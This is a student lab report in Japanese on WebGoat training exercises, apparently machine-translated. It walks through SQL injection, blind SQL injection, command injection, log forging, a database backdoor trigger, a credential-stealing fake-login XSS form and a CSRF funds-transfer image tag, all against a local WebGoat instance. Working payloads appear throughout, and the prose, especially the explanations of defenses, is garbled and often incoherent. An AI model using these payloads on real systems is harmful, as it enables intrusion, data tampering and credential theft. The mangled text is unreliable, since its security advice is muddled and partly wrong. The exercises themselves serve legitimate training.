「ネットワーク戦技術」Exp9 WebセキュリティインフラストラクチャWeek13
まず、テストの目的と内容
1.練習内容
- (1)この練習用ターゲットは少なくない7以下のトピックを行う、一般的なネットワーク攻撃手法の基本原則を理解しています。(SQL、XSS、CSRF)を含みます。Webgoat練習関連の実験の下で。
2.いくつかの問題
- (1)SQLインジェクション攻撃の原則、どのように守るために
:SQLインジェクションの脆弱性は、データベースクエリ処理が存在するバックエンドのWebアプリケーションのセキュリティ上の脆弱性を指します。これは、組み込みSQLは、設計プロセスの攻撃を構成することができる特別な文字列をチェックすることから、入力文字列にコマンドです。バックエンドデータベースは、さらに、そのようなバックエンド・データベースへの損傷などの深刻な結果を引き起こす、様々な操作を実行するために、バックエンドデータベースを達成するために、通常、可能実行される通常のSQLコマンドとしてみなされるべきで後。防衛の手段:文字列をコミットすることはできませんが、暗号化されたデータベースの内容は、特殊文字が含まれています。
- (2)守るためにどのようにXSS攻撃の原理を、
:どこでも、通常のテキスト入力場所を受け入れるJavascriptのスクリプト、およびスクリプトの実行を入力します。フォームが特殊文字の存在を検出提出され、サイトのXSS脆弱性の排除、Web開発者は、エスケープ文字のセキュリティ手段を使用する:防衛の手段。
- (3)CSRF攻撃の原則、どのように守るために
:サイトの悪用の種類は一般に、それはクロスサイトスクリプティング(XSS)のように聞こえるにもかかわらず、フィッシングサイトとして知られているが、サイトXSS、CSRFの使用における信頼ユーザー迷彩と、信頼できるユーザからの要求に至るまで信頼済みサイトの使用。XSS攻撃と比較すると、CSRF攻撃は、多くの場合、非常に人気がありません(したがって、そのリソースを防ぐために非常にまれである)と擁護することは困難で、それがXSSよりも危険と考えられています。すべての重要なポスト投函ページについて、あなたは確認コードを使用します。各ページには、ウェブサーバによって生成されたトークンを含む出願時だけでなく、サーバーに送信トークンを判断するためにトークンがない場合、サーバは、それがCSRF攻撃と判断されます。でもクッキーを使用せずにクッキーの定期的な清掃、
第二に、実験手順
インストールWebGoat
WebGoatは、セキュリティの脆弱性は、Webアプリケーションに存在し説明するために、Webアプリケーションの脆弱性を実験するためのプラットフォームを開発しOWASP組織です。クロスサイトスクリプティング攻撃(XSS)、アクセス制御、セキュリティスレッド、オペレーティング隠されたフィールド、パラメータ操作、弱いセッションクッキー:Java仮想マシンでのプラットフォーム上で実行WebGoat、現在を含め、30回の以上のトレーニングコースを提供その上で、SQLブラインド、デジタルタイプのSQLインジェクション、SQLインジェクションの文字列、Webサービス、オープン認証に失敗し、危険なHTMLコメントと。WebGoatは攻撃にこれらの脆弱性を悪用するユーザーをガイドする、いくつかのコースは、ビデオプレゼンテーションを与えている、Webセキュリティを学ぶためのチュートリアルのシリーズを提供します。
1、でhttps://github.com/WebGoat/WebGoat/releases/tag/7.0.1をダウンロード
webgoat-container-7.0.1-war-exec.jar
、カーリーは入れ。2は、コマンドラインで
java -jar webgoat-container-7.0.1-war-exec.jar
Webgoatを実行するには、次のプロンプトの成功を実行した後、しばらく待つように見えます。
3、ブラウザに入力し
http://localhost:8080/WebGoat
、ログインインターフェイスにWebGoat
4、ログインしたアカウントのパスワードのいずれかを使用して、ページの下部には、次のページを見ることができます:
図5に示すように、次のステップは、左対応するテストのオプションの様々な選択することです。
種々のインジェクションの脆弱性(インジェクションの欠陥)
1、コマンドインジェクション(噴射指令)
説明:コマンドインジェクションは、特定の目的を達成するために、提出後に実行されているいくつかのコマンドのテキストボックスを入力することにより提出することがあります。
(1)まず、あなたは彼らが正当なもの、多くのオプションがあり、ボックスがあるページを見ることができます
(2)私たちはしなければならないのいずれかのオプションは、命令の一部を再度追加するにはここでソースコードを、修正され、修正されたオプションを選択して、クリックし
view
所望の効果を達成します。(3)ページを右クリックし、選択
inspect Element
の表示ページのソースコードの変更は、コードエディタの任意の列にあるチェックボックスをダブルクリックして「&PWD」を追加します。(4)、チェックボックスを選択してクリックし
view
、コマンドが正常に実行される追加した、攻撃が成功しました。
2、数値SQLインジェクション(注入数値)
説明:権利の制限を回避するための許可なしに次のテキストボックスを提出するためにいくつかの他の論理条件を追加することで、より多くのものを得ます。
(1)最初のページでは、我々はをクリックし、チェックボックスに都市を選択し、これは単に天候クエリであることがわかります
go
あなたが選択した都市の天気を表示することができた後。ここでは、4つだけのボックスのオプション
(2)私たちは推測することができ、ここでは、データベースの文は、データベース内の数、及び、出力天候都市に対応する行を見つける必要があります。
(3)ページを右クリックし、選択し
inspect Element
、チェックボックスの場所を見つけるために、コードを変更するには、Viewページのソースコードを、をダブルクリックしvalue="102"
、後に追加、変更or 1=1
。
(4)都市を選択してクリックします
go
。なしに2つの選択肢があり、そのうちのすべての都市の天気情報が出力されます発見。攻撃が成功
3、ログスプーフィング(なりすましをログ)
説明:ウェブ攻撃を実行した後、彼らはログファイルに攻撃の痕跡を残す傾向にあります。スプーフィングログでは、ログは、彼らの攻撃の痕跡を隠すまたは排除する、偽造することができます。
(1)ユーザ名を記入し
zwy%0d%0aLogin Succeeded for username: admin
、請求%0D%の0Aは、任意のパスワードのASCIIキャリッジ・リターンおよび改行数、です。ログインをクリックして、次の情報を見ることができます。
管理者ログインページのアカウントがあるかのように(2)これが見えます。しかし、これはfalseです。攻撃者は、ログファイルに悪質なスクリプトを追加するには、この方法を悪用する可能性があります。たとえば、ユーザ名を入力
admin <script>alert(document.cookie)</script>
して提出し、その後、管理者用ページは、メッセージクッキーをポップアップ表示されます。
4、LAB:SQLインジェクション
ここでは4つのステップがありますが、ステージ2とステージ4は、WebGoatの開発版にのみ適用されます
ステージ1:文字列の注射
目標は、ログインをバイパスすることです。
(1)まず、管理者パスワードを選択してみてください
' or '1' = '1
。入力されたパスワードは、ここで設定した長さの制限があります場合は' or '1' = '1
長さが入力されたパスワードボックス8を制限しながら、13の長さを占め(2)上記によれば、経験のページのソースコードを変更する必要性を決定することができます。
(3)ページを右クリックし、
inspect Element
ページのソースを表示します。ページを右クリックし、inspect Element
ページのソースコードの変更を表示するには、パスワードの長さを変更する13個のブロックです。
(4)[パスワード]ボックスにもう一度入力します
' or '1' = '1
。この時間が限定されるものではなく、発見しました。記号をクリックすると、次のように促した後、攻撃が成功します
ステージ3:数値SQLインジェクション
目的:使用ラリーのアイデンティティの従業員は上司ネヴィルの情報を表示します。
(1)使用ステージ1を最初に、ラリーの情報を表示するには、ログインをバイパスします。
(2)ページ上で右クリックし、
inspect Element
ページのソースを表示し、オプションボックスに関する情報を見つけるLarry Stooge
コードが配置されているが。(3)関係者は、値の値で検索する情報。一般的には、最高賃金のボスは、給与は一般フィールドです
salary
ので、値を変更し、101 or 1=1 order by salary desc
をクリックしViewProfile
、情報を取得するためのボスを見つけ、攻撃が成功しています。
5、文字列のSQLインジェクション(注入文字列)
(1)このサイトは、ユーザーのクレジットカード番号を照会することができます。上記の原則と、ここでは比較的簡単なデジタル型インプラントに似ています。
(2)ボックスで、ユーザー名を入力して
' or 1=1--
クリックし、go
すべてのユーザーのクレジットカード番号を取得します
6、データベースのバックドア(裏口データベース)
(1)目標は:データベースのバックドアを作成します。賃金上昇のクエリIDを入力すると同時に、コマンドを注入するようにしてください。
(2)データベースのバックドアとは何ですか?データベースは、多くの場合、バックエンドのWebアプリケーションとして使用します。さらに、それはまた、記憶媒体として使用されます。どこでそれはまた、トリガとして、ストレージ悪質な活動として使用することができます。トリガーは、CRUDのようなデータベース管理システム上の別のデータベース操作への呼び出しです。たとえば:新しいユーザーを作成するときに、それぞれの新しいユーザー賃金が10000を増加するように、攻撃者は、トリガーを作成することができます。
このサイトの効果(3)は、ユーザIDを入力することで、ユーザに適切な情報を返します。`入力し
101
検索し、あなたは現在の給与が55,000で見ることができます
(4)入力
101; update employee set salary=66666
修飾賃金66666を。
(3)を入力し
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid
、攻撃を完了すること。
注:TRIGGER myBackDoorは、バックドアを作成することですCREATE。前にそれは前だった..... この文は、データベースに、新しい従業員の賃金プラス10 000に新しいデータを挿入し、前です。
7、ブラインド数値SQLインジェクション(数値ブラインド)
説明:一般的には、SQLインジェクションが返さ明確な情報ではありません、注入のこの時間は、ブラインドと呼ばれています。
目標:ピンフィールド値1111222233334444フィールド記録のテーブルcc_numberピンの値を見つけます。ピンフィールドはint型、int型です。
(1)サイトでは、アカウントを入力することができ、およびアカウントが正当であることを検出します。(あり)合法的な、プロンプトが有効な場合、無効とそうでない場合は、プロンプト。例えば:
(2)ここで、我々は使用することができます。2つの側面と定数が真であるが、それがそうでなければ、効果的な促し無効促すメッセージが表示されます結果として。
(3)次のステップは、IDピンを見つけるために、データベースステートメントの使用をテストすることです。テキストボックスに入力します
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
。≤5000を示し、無効であることが判明。(4)次は、常にバイナリサーチにより、2364年のピンを取得します
8、ブラインド文字列SQLインジェクション(文字ブラインド)
目標:ここ7と似ていますが、ピンフィールドがvarchar型になります。
(1)同様に、ANDの使用。まず、入力した
101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)
テストのピンの長さを。ディスプレイ
(2)長さが4で見つけ、試してみて続行します。
(3)次に、入力
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )
絶えず確認n番目の文字です。ここでは些細なプロセスは、もはや表示されていません。最後に、ピンフィールドを取得Jill
クロスサイトスクリプティング攻撃(XSS)
1、XSSとフィッシング(XSSを使用して釣り)
説明:原理:ユーザがアクセスする偽スクリプトにアクセスできるように、ページのソースコードを変更することによって、限り、上記の情報を入力し、提出されたように、入力データは、特定のページに送信されます。
(1)ページを右クリックし、
inspect Element
ページのソースを表示します。ページを右クリックし、inspect Element
ページのソースコードの変更を表示するために、ダブルクリックして任意の部分が挿入されました</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
(2)検索コード、次のインターフェイス
(3)任意の入力、[送信]をクリックします
4、クロスサイトリクエストフォージェリ(CSRF)(クロスサイトリクエストフォージェリ)
(1)はじめに:攻撃をロードするために被害者を作るには、の絵を含むWebページを意味します。
(2)右およびSrcは、それぞれ、メニューの値をパラメータ294および900
(3)任意のタイトルを、コンテンツを入力
<img src="http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000" width="1" height="1" />
し、送信してください。(4)あなたが指すことができ、接続の出現の下に見ることができます。CSRFのトリガイベントをクリックして、攻撃が成功します
第三に、問題が発生しました
- WebGoatと左側の列に該当するログを開始後1、。
解決策:JDKのバージョンの不一致ので見つけます。問題を解決するために、環境変数を設定した後、1.8 JDKをダウンロードしてください。参考https://www.jianshu.com/p/9ec7838411c8
第四に、感情や経験
- この実験を通じて、非常に綿密な調査を感じていないが、これらの攻撃、簡単な試みの原則を理解し、インジェクション攻撃とXSS攻撃、CSRF攻撃を学ぶが、良いは彼らの知識を広げます。